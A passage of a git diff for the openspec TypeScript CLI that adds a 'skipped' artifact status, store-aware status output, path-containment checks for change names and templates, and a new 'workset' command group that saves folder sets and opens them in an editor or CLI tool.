-57,13 +96,15 @@ export function isColorDisabled(): boolean { /** * Gets the color function based on status. */ -export function getStatusColor(status: 'done' | 'ready' | 'blocked'): (text: string) => string { +export function getStatusColor(status: 'done' | 'skipped' | 'ready' | 'blocked'): (text: string) => string { if (isColorDisabled()) { return (text: string) => text; } switch (status) { case 'done': return chalk.green; + case 'skipped': + return chalk.gray; case 'ready': return chalk.yellow; case 'blocked': @@ -74,11 +115,13 @@ export function getStatusColor(status: 'done' | 'ready' | 'blocked'): (text: str /** * Gets the status indicator for an artifact. */ -export function getStatusIndicator(status: 'done' | 'ready' | 'blocked'): string { +export function getStatusIndicator(status: 'done' | 'skipped' | 'ready' | 'blocked'): string { const color = getStatusColor(status); switch (status) { case 'done': return color('[x]'); + case 'skipped': + return color('[~]'); case 'ready': return color('[ ]'); case 'blocked': @@ -90,8 +133,11 @@ export function getStatusIndicator(status: 'done' | 'ready' | 'blocked'): string * Returns the list of available change directory names under openspec/changes/. * Excludes the archive directory and hidden directories. */ -export async function getAvailableChanges(projectRoot: string): Promise<string[]> { - const changesPath = path.join(projectRoot, 'openspec', 'changes'); +export async function getAvailableChanges( + projectRoot: string, + changesDir = path.join(projectRoot, 'openspec', 'changes') +): Promise<string[]> { + const changesPath = changesDir; try { const entries = await fs.promises.readdir(changesPath, { withFileTypes: true }); return entries @@ -103,18 +149,52 @@ export async function getAvailableChanges(projectRoot: string): Promise<string[] } } +/** + * Validates a change name used to look up an existing change directory. + * Lookup accepts any directory name that `getAvailableChanges` could return + * (the kebab-case convention in `validateChangeName` applies at creation + * time only); it only rejects names that would escape the changes directory + * or address entries `getAvailableChanges` excludes (hidden dirs, archive). + * + * @returns An error message, or undefined if the name is safe to look up + */ +function validateChangeLookupName(changeName: string): string | undefined { + if (changeName === '.' || changeName === '..') { + return 'Change name cannot be a relative path segment'; + } + if (changeName.includes('/') || changeName.includes('\\')) { + return 'Change name cannot contain path separators'; + } + if (changeName.includes('\0')) { + return 'Change name cannot contain null characters'; + } + if (changeName.startsWith('.')) { + return 'Change name cannot start with a dot'; + } + if (changeName === 'archive') { + return "'archive' is reserved for archived changes"; + } + return undefined; +} + /** * Validates that a change exists and returns available changes if not. * Checks directory existence directly to support scaffolded changes (without proposal.md). */ export async function validateChangeExists( changeName: string | undefined, - projectRoot: string + projectRoot: string, + changesDir = path.join(projectRoot, 'openspec', 'changes'), + hints: { newChangeHint?: string } = {} ): Promise<string> { + // Hints must stay pasteable: callers with a selected store pass a + // store-carrying hint so following it lands in the same root. + const newChangeHint = hints.newChangeHint ?? 'openspec new change <name>'; + if (!changeName) { - const available = await getAvailableChanges(projectRoot); + const available = await getAvailableChanges(projectRoot, changesDir); if (available.length === 0) { - throw new Error('No changes found. Create one with: openspec new change <name>'); + throw new Error(`No changes found. Create one with: ${newChangeHint}`); } throw new Error( `Missing required option --change. Available changes:\n ${available.join('\n ')}` @@ -122,20 +202,20 @@ export async function validateChangeExists( } // Validate change name format to prevent path traversal - const nameValidation = validateChangeName(changeName); - if (!nameValidation.valid) { - throw new Error(`Invalid change name '${changeName}': ${nameValidation.error}`); + const lookupError = validateChangeLookupName(changeName); + if (lookupError) { + throw new Error(`Invalid change name '${changeName}': ${lookupError}`); } // Check directory existence directly - const changePath = path.join(projectRoot, 'openspec', 'changes', changeName); + const changePath = path.join(changesDir, changeName); const exists = fs.existsSync(changePath) && fs.statSync(changePath).isDirectory(); if (!exists) { - const available = await getAvailableChanges(projectRoot); + const available = await getAvailableChanges(projectRoot, changesDir); if (available.length === 0) { throw new Error( - `Change '${changeName}' not found. No changes exist. Create one with: openspec new change <name>` + `Change '${changeName}' not found. No changes exist. Create one with: ${newChangeHint}` ); } throw new Error( diff --git a/src/commands/workflow/status.ts b/src/commands/workflow/status.ts index 1109ab1886..32f5950716 100644 --- a/src/commands/workflow/status.ts +++ b/src/commands/workflow/status.ts @@ -6,6 +6,14 @@ import ora from 'ora'; import chalk from 'chalk'; +import { getChangeDir } from '../../core/planning-home.js'; +import { + resolveRootForCommand, + toPlanningHome, + toRootOutput, + withStoreFlag, + isStoreSelectedRoot, +} from '../../core/root-selection.js'; import { loadChangeContext, formatChangeStatus, @@ -26,6 +34,8 @@ import { export interface StatusOptions { change?: string; schema?: string; + store?: string; + storePath?: string; json?: boolean; } @@ -34,22 +44,38 @@ export interface StatusOptions { // ----------------------------------------------------------------------------- export async function statusCommand(options: StatusOptions): Promise<void> { + // The root resolves (and the store banner prints) before the spinner starts + // so the two do not fight over stderr. + const root = await resolveRootForCommand(options, { json: options.json }); + if (!root) { + return; + } + const spinner = options.json ? undefined : ora('Loading change status...').start(); try { - const projectRoot = process.cwd(); + const planningHome = toPlanningHome(root); + const projectRoot = root.path; + const rootOutput = toRootOutput(root); + const newChangeHint = withStoreFlag(root, 'openspec new change <name>'); // Handle no-changes case gracefully — status is informational, // so "no changes" is a valid state, not an error. if (!options.change) { - const available = await getAvailableChanges(projectRoot); + const available = await getAvailableChanges(projectRoot, root.changesDir); if (available.length === 0) { spinner?.stop(); if (options.json) { - console.log(JSON.stringify({ changes: [], message: 'No active changes.' }, null, 2)); + console.log( + JSON.stringify( + { changes: [], message: 'No active changes.', root: rootOutput }, + null, + 2 + ) + ); return; } - console.log('No active changes. Create one with: openspec new change <name>'); + console.log(`No active changes. Create one with: ${newChangeHint}`); return; } // Changes exist but --change not provided @@ -59,7 +85,12 @@ export async function statusCommand(options: StatusOptions): Promise<void> { ); } - const changeName = await validateChangeExists(options.change, projectRoot); + const changeName = await validateChangeExists( + options.change, + projectRoot, + root.changesDir, + { newChangeHint } + ); // Validate schema if explicitly provided if (options.schema) { @@ -67,13 +98,19 @@ export async function statusCommand(options: StatusOptions): Promise<void> { } // loadChangeContext will auto-detect schema from metadata if not provided - const context = loadChangeContext(projectRoot, changeName, options.schema); - const status = formatChangeStatus(context); + const context = loadChangeContext(projectRoot, changeName, options.schema, { + changeDir: getChangeDir(planningHome, changeName), + planningHome, + }); + const status = formatChangeStatus( + context, + isStoreSelectedRoot(root) ? { storeId: root.storeId } : {} + ); spinner?.stop(); if (options.json) { - console.log(JSON.stringify(status, null, 2)); + console.log(JSON.stringify({ ...status, root: rootOutput }, null, 2)); return; } @@ -86,11 +123,16 @@ export async function statusCommand(options: StatusOptions): Promise<void> { export function printStatusText(status: ChangeStatus): void { const doneCount = status.artifacts.filter((a) => a.status === 'done').length; - const total = status.artifacts.length; + const skippedCount = status.artifacts.filter((a) => a.status === 'skipped').length; + const total = status.artifacts.length - skippedCount; console.log(`Change: ${status.changeName}`); console.log(`Schema: ${status.schemaName}`); - console.log(`Progress: ${doneCount}/${total} artifacts complete`); + if (status.changeRoot) { + console.log(`Change root: ${status.changeRoot}`); + } + const skippedSuffix = skippedCount > 0 ? ` (${skippedCount} skipped)` : ''; + console.log(`Progress: ${doneCount}/${total} artifacts complete${skippedSuffix}`); console.log(); for (const artifact of status.artifacts) { @@ -98,6 +140,10 @@ export function printStatusText(status: ChangeStatus): void { const color = getStatusColor(artifact.status); let line = `${indicator} ${artifact.id}`; + if (artifact.status === 'skipped') { + line += color(' (skipped: change declares skip_specs)'); + } + if (artifact.status === 'blocked' && artifact.missingDeps && artifact.missingDeps.length > 0) { line += color(` (blocked by: ${artifact.missingDeps.join(', ')})`); } @@ -105,8 +151,8 @@ export function printStatusText(status: ChangeStatus): void { console.log(line); } - if (status.isComplete) { + if (status.isPlanningComplete) { console.log(); - console.log(chalk.green('All artifacts complete!')); + console.log(chalk.green('All planning artifacts complete!')); } } diff --git a/src/commands/workflow/templates.ts b/src/commands/workflow/templates.ts index fedd323e0d..02d2c5a01d 100644 --- a/src/commands/workflow/templates.ts +++ b/src/commands/workflow/templates.ts @@ -67,13 +67,22 @@ export async function templatesCommand(options: TemplatesOptions): Promise<void> source = 'package'; } - const templates: TemplateInfo[] = graph.getAllArtifacts().map((artifact) => ({ - artifactId: artifact.id, - templatePath: FileSystemUtils.canonicalizeExistingPath( - path.join(schemaDir, 'templates', artifact.template) - ), - source, - })); + const templatesDir = path.join(schemaDir, 'templates'); + const templates: TemplateInfo[] = graph.getAllArtifacts().map((artifact) => { + const templatePath = path.join(templatesDir, artifact.template); + try { + FileSystemUtils.assertPathWithin(templatesDir, templatePath); + return { + artifactId: artifact.id, + templatePath: FileSystemUtils.canonicalizeExistingPath(templatePath), + source, + }; + } catch { + throw new Error( + `Template '${artifact.template}' for artifact '${artifact.id}' points outside the schema templates directory` + ); + } + }); spinner?.stop(); diff --git a/src/commands/workset-input.ts b/src/commands/workset-input.ts new file mode 100644 index 0000000000..0207f3b5ab --- /dev/null +++ b/src/commands/workset-input.ts @@ -0,0 +1,185 @@ +/** + * Input resolution and error builders shared by the workset command + * and its interactive prompt flows. + */ +import * as path from 'node:path'; + +import { pathIsDirectory } from '../core/file-state.js'; +import { + findOpener, + isOpenerCommandAvailable, + isOpenerEnabled, + type OpenerDefinition, + type OpenerScanOptions, +} from '../core/openers.js'; +import { StoreError } from '../core/store/errors.js'; +import { expandUserPath } from '../core/store/operations.js'; +import { getGlobalConfigPath } from '../core/global-config.js'; +import { + memberLabelProblem, + memberListProblem, + type Workset, + type WorksetMember, +} from '../core/worksets.js'; + +function memberInvalidError(problem: string): StoreError { + return new StoreError( + `Invalid workset member: ${problem}.`, + 'workset_member_invalid', + { + target: 'workset.member', + fix: 'Pass --member <path> with an existing folder, or --member <name>=<path> to label it.', + } + ); +} + +/** `--member <path>` or `--member <name>=<path>` (the first `=` splits). */ +async function resolveMemberFlag(raw: string): Promise<WorksetMember> { + const separator = raw.indexOf('='); + const label = separator > 0 ? raw.slice(0, separator) : undefined; + const rawPath = separator > 0 ? raw.slice(separator + 1) : raw; + + if (rawPath.length === 0) { + throw memberInvalidError(`'${raw}' has no path`); + } + + const resolvedPath = path.resolve(expandUserPath(rawPath)); + if (!(await pathIsDirectory(resolvedPath))) { + throw memberInvalidError(`'${rawPath}' is not an existing folder`); + } + + const name = label ?? path.basename(resolvedPath); + const labelProblem = memberLabelProblem(name); + if (labelProblem !== null) { + throw memberInvalidError(labelProblem); + } + + return { name, path: resolvedPath }; +} + +/** Concurrent stats; the first invalid flag (by flag order) reports. */ +export async function resolveMemberFlags( + flags: string[] +): Promise<WorksetMember[]> { + const settled = await Promise.allSettled(flags.map(resolveMemberFlag)); + const members: WorksetMember[] = []; + for (const result of settled) { + if (result.status === 'rejected') { + throw result.reason; + } + members.push(result.value); + } + return members; +} + +/** One spelling of "this tool id must exist in the merged table". */ +export function assertKnownTool( + tool: string, + table: OpenerDefinition[] +): void { + if (findOpener(table, tool) === null) { + throw toolUnknownError(tool, table); + } +} + +/** Final assembly shared by both compose paths: one validation rule. */ +export function finalizeWorkset( + name: string, + members: WorksetMember[], + tool: string | undefined, + table: OpenerDefinition[] +): Workset { + const problem = memberListProblem(members); + if (problem !== null) { + throw memberInvalidError(problem); + } + + if (tool !== undefined) { + assertKnownTool(tool, table); + } + + return { + name, + ...(tool !== undefined ? { tool } : {}), + members, + }; +} + +/** The aligned `<name> <path>` rows used by list, remove, and the + * open fallback; callers pick the stream and indent. */ +export function formatMemberRows(members: WorksetMember[]): string[] { + const width = Math.max(...members.map((member) => member.name.length)); + return members.map( + (member) => `${member.name.padEnd(width)} ${member.path}` + ); +} + +export function toolUnknownError( + toolId: string, + table: OpenerDefinition[] +): StoreError { + const knownIds = table + .filter((opener) => isOpenerEnabled(opener)) + .map((opener) => opener.id) + .join(', '); + return new StoreError(`Unknown tool '${toolId}'.`, 'workset_tool_unknown', { + target: 'workset.tool', + fix: `Known tools: ${knownIds}. Add new tools under "openers" in ${getGlobalConfigPath()}.`, + }); +} + +/** Stops at the first installed alternative instead of scanning all. */ +export function firstInstalledAlternative( + table: OpenerDefinition[], + excludeId: string | undefined, + scan?: OpenerScanOptions +): string | null { + return ( + table.find( + (candidate) => + candidate.id !== excludeId && + isOpenerEnabled(candidate) && + isOpenerCommandAvailable(candidate.command, scan) + )?.id ?? null + ); +} + +export function toolUnavailableError( + opener: OpenerDefinition, + table: OpenerDefinition[], + worksetName: string, + scan?: OpenerScanOptions +): StoreError { + const alternative = firstInstalledAlternative(table, opener.id, scan); + + return new StoreError( + `${opener.label} ('${opener.command}') is not on PATH.`, + 'workset_tool_unavailable', + { + target: 'workset.tool', + fix: + alternative !== null + ? `Install '${opener.command}' or run: openspec workset open ${worksetName} --tool ${alternative}` + : `Install '${opener.command}', then rerun: openspec workset open ${worksetName}`, + } + ); +} + +/** Interactive open with no saved tool and nothing installed at all. */ +export function noToolInstalledError( + table: OpenerDefinition[], + worksetName: string +): StoreError { + const commands = table + .filter((opener) => isOpenerEnabled(opener)) + .map((opener) => opener.command) + .join(', '); + return new StoreError( + 'None of the known tools is on PATH.', + 'workset_tool_unavailable', + { + target: 'workset.tool', + fix: `Install one of: ${commands}. Then rerun: openspec workset open ${worksetName}`, + } + ); +} diff --git a/src/commands/workset-prompts.ts b/src/commands/workset-prompts.ts new file mode 100644 index 0000000000..95c9247b99 --- /dev/null +++ b/src/commands/workset-prompts.ts @@ -0,0 +1,188 @@ +/** + * The workset command's interactive prompt flows (the compose wizard, + * the open-time tool select, the remove confirm). @inquirer is always + * imported dynamically at the call site - never at module top. + */ +import * as path from 'node:path'; + +import { pathIsDirectory } from '../core/file-state.js'; +import { + listOpenerChoices, + type OpenerChoice, + type OpenerDefinition, +} from '../core/openers.js'; +import { expandUserPath } from '../core/store/operations.js'; +import { + memberLabelProblem, + validateWorksetName, + type Workset, + type WorksetMember, +} from '../core/worksets.js'; +import { asErrorMessage } from './shared-output.js'; +import { + assertKnownTool, + finalizeWorkset, + formatMemberRows, + resolveMemberFlags, +} from './workset-input.js'; + +export interface ComposeInput { + memberFlags: string[]; + tool?: string; +} + +export async function composeInteractively( + givenName: string | undefined, + input: ComposeInput, + table: OpenerDefinition[] +): Promise<Workset> { + const prompts = await import('@inquirer/prompts'); + + console.log('[1/3] Name the workset'); + let name: string; + if (givenName !== undefined) { + name = validateWorksetName(givenName); + console.log(` Workset name: ${name}`); + } else { + name = await prompts.input({ + message: 'Workset name:', + required: true, + validate(value: string) { + try { + validateWorksetName(value); + return true; + } catch (error) { + return asErrorMessage(error); + } + }, + }); + } + + // Flag-provided pieces are validated before any prompting, so a + // bad flag or tool cannot discard a finished wizard walk. + if (input.tool !== undefined) { + assertKnownTool(input.tool, table); + } + + console.log(''); + console.log( + '[2/3] Add member folders (the first one is the primary - sessions start there)' + ); + const members: WorksetMember[] = await resolveMemberFlags(input.memberFlags); + if (members.length > 0) { + finalizeWorkset(name, members, input.tool, table); + for (const member of members) { + console.log(` Added '${member.name}' (${member.path})`); + } + } + + while (true) { + if (members.length > 0) { + const next = await prompts.select({ + message: 'Add another folder or finish:', + choices: [ + { name: 'Finish', value: 'finish' }, + { name: 'Add another folder', value: 'add' }, + ], + default: 'finish', + }); + if (next === 'finish') { + break; + } + } + + const rawPath = await prompts.input({ + message: 'Folder path:', + ...(members.length === 0 ? { default: '.', prefill: 'editable' } : {}), + required: true, + async validate(value: string) { + const resolved = path.resolve(expandUserPath(value)); + if (!(await pathIsDirectory(resolved))) { + return `'${value}' is not an existing folder`; + } + return true; + }, + }); + + const resolvedPath = path.resolve(expandUserPath(rawPath)); + let label = path.basename(resolvedPath); + const collision = members.some((member) => member.name === label); + if (memberLabelProblem(label) !== null || collision) { + label = await prompts.input({ + message: 'Name this member (the folder label):', + required: true, + validate(value: string) { + const problem = memberLabelProblem(value); + if (problem !== null) { + return problem; + } + if (members.some((member) => member.name === value)) { + return `duplicate member name '${value}'`; + } + return true; + }, + }); + } + + members.push({ name: label, path: resolvedPath }); + console.log(` Added '${label}' (${resolvedPath})`); + } + + console.log(''); + console.log('[3/3] Choose your tool'); + let tool = input.tool; + if (tool === undefined) { + const choices = listOpenerChoices(table); + const available = choices.filter((choice) => choice.available); + if (available.length === 0) { + console.log( + ' None of the known tools is on PATH; not saving a preference.' + ); + console.log( + ` (Known tools: ${choices.map((choice) => `${choice.opener.id} ${choice.note ?? ''}`.trim()).join(', ')})` + ); + } else { + tool = await promptToolFromChoices(available); + } + } + + return finalizeWorkset(name, members, tool, table); +} + +export async function promptToolFromChoices( + available: OpenerChoice[] +): Promise<string> { + const { select } = await import('@inquirer/prompts'); + return select({ + message: 'Open with:', + choices: available.map((choice) => ({ + name: choice.opener.label, + value: choice.opener.id, + })), + }); +} + +export async function promptOpenNow(label: string): Promise<boolean> { + const { confirm } = await import('@inquirer/prompts'); + return confirm({ + message: `Open it now in ${label}?`, + default: true, + }); +} + +/** Prints the workset (decision 13: remove shows what it removes). */ +export async function confirmRemoveInteractively( + workset: Workset +): Promise<boolean> { + const { confirm } = await import('@inquirer/prompts'); + + console.log(`Workset '${workset.name}':`); + for (const row of formatMemberRows(workset.members)) { + console.log(` ${row}`); + } + + return confirm({ + message: `Remove workset '${workset.name}'? (member folders are never touched)`, + default: false, + }); +} diff --git a/src/commands/workset.ts b/src/commands/workset.ts new file mode 100644 index 0000000000..afb018aa83 --- /dev/null +++ b/src/commands/workset.ts @@ -0,0 +1,657 @@ +/** + * The `workset` command group (slice 7.1): compose, keep, and open + * personal working views. A workset is purely local and personal - + * never committed, never shared, never derived from declarations, and + * never a membership truth. Opening hands the view to the user's tool: + * editors get the generated .code-workspace; CLI agents take over this + * terminal with every member attached and no starter prompt. + */ +import * as os from 'node:os'; +import { createRequire } from 'node:module'; +import type { spawn as nodeSpawn } from 'node:child_process'; +import { Command, Option } from 'commander'; + +import { + buildWorksetCodeWorkspaceJson, + getWorkset, + getWorksetCodeWorkspacePath, + listWorksets, + readWorksetsState, + removeWorkset, + updateWorksetsState, + validateWorksetName, + withWorkset, + withWorksetsLock, + worksetNotFoundError, + type Workset, + type WorksetMember, +} from '../core/worksets.js'; +import { + buildLaunchCommand, + findOpener, + isOpenerCommandAvailable, + isOpenerEnabled, + listOpenerChoices, + mergeOpenerTable, + type LaunchCommand, + type OpenerDefinition, +} from '../core/openers.js'; +import { pathIsDirectory, writeFileAtomically } from '../core/file-state.js'; +import { + getGlobalConfig, + getGlobalConfigPath, +} from '../core/global-config.js'; +import { StoreError, type StoreDiagnostic } from '../core/store/errors.js'; +import { isInteractive } from '../utils/interactive.js'; +import { + asErrorMessage, + emitFailure, + isPromptCancellationError, + printJson, +} from './shared-output.js'; +import { + finalizeWorkset, + firstInstalledAlternative, + formatMemberRows, + noToolInstalledError, + resolveMemberFlags, + toolUnavailableError, + toolUnknownError, +} from './workset-input.js'; +import { + composeInteractively, + confirmRemoveInteractively, + promptOpenNow, + promptToolFromChoices, +} from './workset-prompts.js'; +import { COMMAND_REGISTRY } from '../core/completions/command-registry.js'; + +// cross-spawn is CJS with no types and only `workset open` needs it - +// loaded lazily so every other CLI invocation skips its module graph. +let cachedSpawn: typeof nodeSpawn | undefined; +function defaultSpawn(): typeof nodeSpawn { + if (cachedSpawn === undefined) { + const require = createRequire(import.meta.url); + cachedSpawn = require('cross-spawn') as typeof nodeSpawn; + } + return cachedSpawn; +} + +interface WorksetCreateOptions { + member?: string[]; + tool?: string; + json?: boolean; +} + +interface WorksetOpenOptions { + tool?: string; + json?: boolean; +} + +interface WorksetRemoveOptions { + yes?: boolean; + json?: boolean; +} + +function readOpenerTable(): OpenerDefinition[] { + return mergeOpenerTable(getGlobalConfig().openers, getGlobalConfigPath()); +} + +function worksetCliOpenerDisabledError( + opener: OpenerDefinition, + name: string +): StoreError { + return new StoreError( + `Opening a workset in ${opener.label} is temporarily disabled while CLI-agent opening is reworked. Worksets open in an IDE for now.`, + 'workset_cli_opener_disabled', + { + target: 'workset.tool', + fix: `Open in VS Code or Cursor: openspec workset open ${name} --tool code`, + } + ); +} + +interface LaunchResult { + code: number | null; + signal: NodeJS.Signals | null; +} + +export interface LaunchOptions { + spawnFn?: typeof nodeSpawn; +} + +/** + * Spawns the opener with this terminal's stdio. Resolves with the + * child's exit facts (never rejects for a nonzero exit - for a + * terminal handoff, the session is the command); rejects with + * workset_launch_failed only when the spawn itself fails. While the + * child runs, SIGINT/SIGTERM are ignored in this parent: the terminal + * delivers Ctrl-C to the child, and the parent must survive to report + * the child's real exit facts (the 128+n contract). + */ +export function launchOpenerCommand( + command: LaunchCommand, + options: LaunchOptions = {} +): Promise<LaunchResult> { + const spawnFn = options.spawnFn ?? defaultSpawn(); + + return new Promise((resolve, reject) => { + const launchFailure = (error: unknown): StoreError => + new StoreError( + `Could not launch ${command.label}: ${asErrorMessage(error)}`, + 'workset_launch_failed', + { + target: 'workset.tool', + fix: `Check that '${command.executable}' runs from this terminal, or pass --tool with another installed tool.`, + } + ); + + let child: ReturnType<typeof spawnFn>; + try { + child = spawnFn(command.executable, command.args, { + cwd: command.cwd, + stdio: 'inherit', + shell: false, + }); + } catch (error) { + // Some spawn failures throw synchronously (platform-dependent); + // they are the same launch failure. + reject(launchFailure(error)); + return; + } + + const ignoreSignal = (): void => undefined; + process.on('SIGINT', ignoreSignal); + process.on('SIGTERM', ignoreSignal); + const cleanup = (): void => { + process.removeListener('SIGINT', ignoreSignal); + process.removeListener('SIGTERM', ignoreSignal); + }; + + child.on('error', (error) => { + cleanup(); + reject(launchFailure(error)); + }); + + child.on('close', (code, signal) => { + cleanup(); + resolve({ code, signal }); + }); + }); +} + +/** 130 for SIGINT, 143 for SIGTERM - the shell's 128+n convention. */ +export function exitCodeForLaunch(result: LaunchResult): number { + if (result.signal !== null) { + const signalNumber = + os.constants.signals[result.signal as keyof typeof os.constants.signals]; + return 128 + (signalNumber ?? 1); + } + + return result.code ?? 0; +} + +interface PreparedOpen { + workset: Workset; + surviving: WorksetMember[]; + skipped: WorksetMember[]; + codeWorkspacePath: string; +} + +class WorksetCommand { + async create( + name: string | undefined, + options: WorksetCreateOptions = {} + ): Promise<void> { + try { + const interactive = !options.json && isInteractive(); + + let workset: Workset; + let table: OpenerDefinition[] | undefined; + if (interactive) { + table = readOpenerTable(); + workset = await composeInteractively( + name, + { memberFlags: options.member ?? [], tool: options.tool }, + table + ); + } else { + workset = await this.composeFromFlags(name, options); + } + + await updateWorksetsState((state) => withWorkset(state, workset)); + + if (options.json) { + printJson({ workset, status: [] }); + return; + } + + console.log(''); + console.log( + `Saved workset '${workset.name}' (${workset.members.length} member${workset.members.length === 1 ? '' : 's'}) to your machine.` + ); + + if (interactive && workset.tool !== undefined && table !== undefined) { + const label = findOpener(table, workset.tool)?.label ?? workset.tool; + let openNow = false; + try { + openNow = await promptOpenNow(label); + } catch (error) { + // The workset is already durably saved: Ctrl-C here declines + // the offer, it does not cancel the create. + if (!isPromptCancellationError(error)) { + throw error; + } + } + + if (openNow) { + console.log(''); + await this.open(workset.name, {}); + return; + } + } + + console.log( + `Open it any time with: openspec workset open ${workset.name}` + ); + } catch (error) { + emitFailure(options.json, { workset: null, status: [] }, error, 'workset_error'); + } + } + + private async composeFromFlags( + name: string | undefined, + options: WorksetCreateOptions + ): Promise<Workset> { + if (!name) { + throw new StoreError('Pass a workset name.', 'workset_name_required', { + target: 'workset.name', + fix: 'openspec workset create <name> --member <path>', + }); + } + + validateWorksetName(name); + + const memberFlags = options.member ?? []; + if (memberFlags.length === 0) { + throw new StoreError( + 'Pass at least one member folder.', + 'workset_members_required', + { + target: 'workset.member', + fix: `openspec workset create ${name} --member <path> --member <name>=<path>`, + } + ); + } + + const members = await resolveMemberFlags(memberFlags); + // The opener table is read only when a tool is actually named - a + // tool-less scripted create must not fail on unrelated config rows. + const table = options.tool !== undefined ? readOpenerTable() : []; + if (options.tool !== undefined) { + const chosen = findOpener(table, options.tool); + if (chosen !== null && !isOpenerEnabled(chosen)) { + throw worksetCliOpenerDisabledError(chosen, name); + } + } + return finalizeWorkset(name, members, options.tool, table); + } + + async list(options: { json?: boolean } = {}): Promise<void> { + try { + const state = await readWorksetsState(); + const worksets = listWorksets(state); + + if (options.json) { + printJson({ worksets, status: [] }); + return; + } + + if (worksets.length === 0) { + console.log( + 'No worksets saved. Create one with: openspec workset create' + ); + return; + } + + // The table is consulted only to render tool labels. + const table = worksets.some((workset) => workset.tool !== undefined) + ? readOpenerTable() + : []; + for (const workset of worksets) { + const toolLabel = + workset.tool !== undefined + ? ` (opens in ${findOpener(table, workset.tool)?.label ?? workset.tool})` + : ''; + console.log(`${workset.name}${toolLabel}`); + for (const row of formatMemberRows(workset.members)) { + console.log(` ${row}`); + } + } + } catch (error) { + emitFailure(options.json, { worksets: [], status: [] }, error, 'workset_error'); + } + } + + async open(name: string, options: WorksetOpenOptions = {}): Promise<void> { + let prepared: PreparedOpen | undefined; + + try { + if (options.json) { + throw new StoreError( + 'workset open hands this terminal to the chosen tool and has no JSON mode.', + 'workset_open_json_unsupported', + { + target: 'workset.tool', + fix: 'Inspect worksets with: openspec workset list --json', + } + ); + } + + // Regenerate the derived file FIRST (under the lock), so every + // cannot-drive failure below can name an existing, current file. + prepared = await withWorksetsLock(async (state): Promise<PreparedOpen> => { + const workset = getWorkset(state, name); + if (workset === null) { + throw worksetNotFoundError(name, state); + } + + const checks = await Promise.all( + workset.members.map(async (member) => ({ + member, + exists: await pathIsDirectory(member.path), + })) + ); + const surviving = checks + .filter((check) => check.exists) + .map((check) => check.member); + const skipped = checks + .filter((check) => !check.exists) + .map((check) => check.member); + + if (surviving.length === 0) { + throw new StoreError( + `No member folder of workset '${name}' exists on this machine.`, + 'workset_no_members_available', + { + target: 'workset.member', + fix: `Recompose it: openspec workset remove ${name} --yes && openspec workset create ${name} --member <path>`, + } + ); + } + + const codeWorkspacePath = getWorksetCodeWorkspacePath(name); + await writeFileAtomically( + codeWorkspacePath, + buildWorksetCodeWorkspaceJson(surviving) + ); + + return { workset, surviving, skipped, codeWorkspacePath }; + }); + + for (const member of prepared.skipped) { + console.error( + `Skipped '${member.name}' (${member.path} is not available).` + ); + } + if (prepared.workset.members[0] !== prepared.surviving[0]) { + const primary = prepared.surviving[0]; + console.error( + `Using '${primary.name}' (${primary.path}) as the primary for this open.` + ); + } + + const table = readOpenerTable(); + + const toolId = options.tool ?? prepared.workset.tool; + let opener: OpenerDefinition; + if (toolId !== undefined) { + const found = findOpener(table, toolId); + if (found === null) { + throw toolUnknownError(toolId, table); + } + if (!isOpenerEnabled(found)) { + throw worksetCliOpenerDisabledError(found, name); + } + if (!isOpenerCommandAvailable(found.command)) { + throw toolUnavailableError(found, table, name); + } + opener = found; + } else { + if (!isInteractive()) { + throw new StoreError( + `Workset '${name}' has no saved tool.`, + 'workset_tool_required', + { + target: 'workset.tool', + fix: `openspec workset open ${name} --tool <id>`, + } + ); + } + + // The prompt offers only available openers, so the selection + // needs no second scan. + const available = listOpenerChoices(table).filter( + (choice) => choice.available + ); + if (available.length === 0) { + throw noToolInstalledError(table, name); + } + const selectedId = await promptToolFromChoices(available); + opener = available.find( + (choice) => choice.opener.id === selectedId + )!.opener; + } + + const launch = buildLaunchCommand(opener, { + members: prepared.surviving, + codeWorkspacePath: prepared.codeWorkspacePath, + }); + + if (opener.style === 'workspace-file') { + console.log( + `Opening '${name}' in ${opener.label} (a window opens; this command returns).` + ); + } else { + console.log( + `Handing this terminal to ${opener.label} for '${name}' (the session ends when you exit).` + ); + } + + let result: LaunchResult; + try { + result = await launchOpenerCommand(launch); + } catch (error) { + // Make the launch-failure fix pasteable when an alternative is + // installed (the launcher itself does not know the table). + if ( + error instanceof StoreError && + error.diagnostic.code === 'workset_launch_failed' + ) { + const alternative = firstInstalledAlternative(table, opener.id); + if (alternative !== null) { + throw new StoreError(error.message, 'workset_launch_failed', { + target: 'workset.tool', + fix: `Run: openspec workset open ${name} --tool ${alternative}`, + }); + } + } + throw error; + } + + const exitCode = exitCodeForLaunch(result); + if (exitCode !== 0) { + process.exitCode = exitCode; + } + } catch (error) { + emitFailure(options.json, { status: [] }, error, 'workset_error'); + + // Never strand the user: once the derived file is regenerated, + // every failure (except a prompt cancellation) carries the + // manual route - the file path plus the members it contains. + if ( + !options.json && + prepared !== undefined && + !isPromptCancellationError(error) + ) { + console.error('Open manually:'); + console.error(` Workspace file: ${prepared.codeWorkspacePath}`); + console.error(' Members:'); + for (const row of formatMemberRows(prepared.surviving)) { + console.error(` ${row}`); + } + } + } + } + + async remove(name: string, options: WorksetRemoveOptions = {}): Promise<void> { + try { + if (!options.yes) { + // The pre-read serves the not-found priority and the confirm + // display; the --yes path skips it (removeWorkset re-checks + // under the lock anyway). + const state = await readWorksetsState(); + const workset = getWorkset(state, name); + if (workset === null) { + throw worksetNotFoundError(name, state); + } + + if (options.json || !isInteractive()) { + throw new StoreError( + 'Pass --yes to remove a workset non-interactively.', + 'workset_remove_confirmation_required', + { + target: 'workset.name', + fix: `openspec workset remove ${name} --yes`, + } + ); + } + + const confirmed = await confirmRemoveInteractively(workset); + if (!confirmed) { + throw new StoreError( + 'Workset remove cancelled.', + 'workset_remove_cancelled', + { + target: 'workset.name', + fix: 'Rerun remove when you are ready.', + } + ); + } + } + + await removeWorkset(name); + + if (options.json) { + printJson({ removed: { name }, status: [] }); + return; + } + + console.log(`Removed workset '${name}'. Member folders were not touched.`); + } catch (error) { + emitFailure(options.json, { removed: null, status: [] }, error, 'workset_error'); + } + } +} + +function collectMember(value: string, previous: string[]): string[] { + return [...previous, value]; +} + +export function registerWorksetCommand(program: Command): void { + const worksetCommand = new WorksetCommand(); + const groupDescription = + COMMAND_REGISTRY.find((entry) => entry.name === 'workset')?.description ?? + 'Compose, keep, and open personal working views (purely local)'; + const workset = program.command('workset').description(groupDescription); + // Parsed at the group level so `openspec workset --json` keeps the + // one-JSON-document contract instead of a raw Commander error. The + // parent option matches anywhere; actions read optsWithGlobals(). + workset.addOption(new Option('--json', 'Output as JSON').hideHelp()); + + workset + .command('create [name]') + .description('Compose and save a named working view of folders you 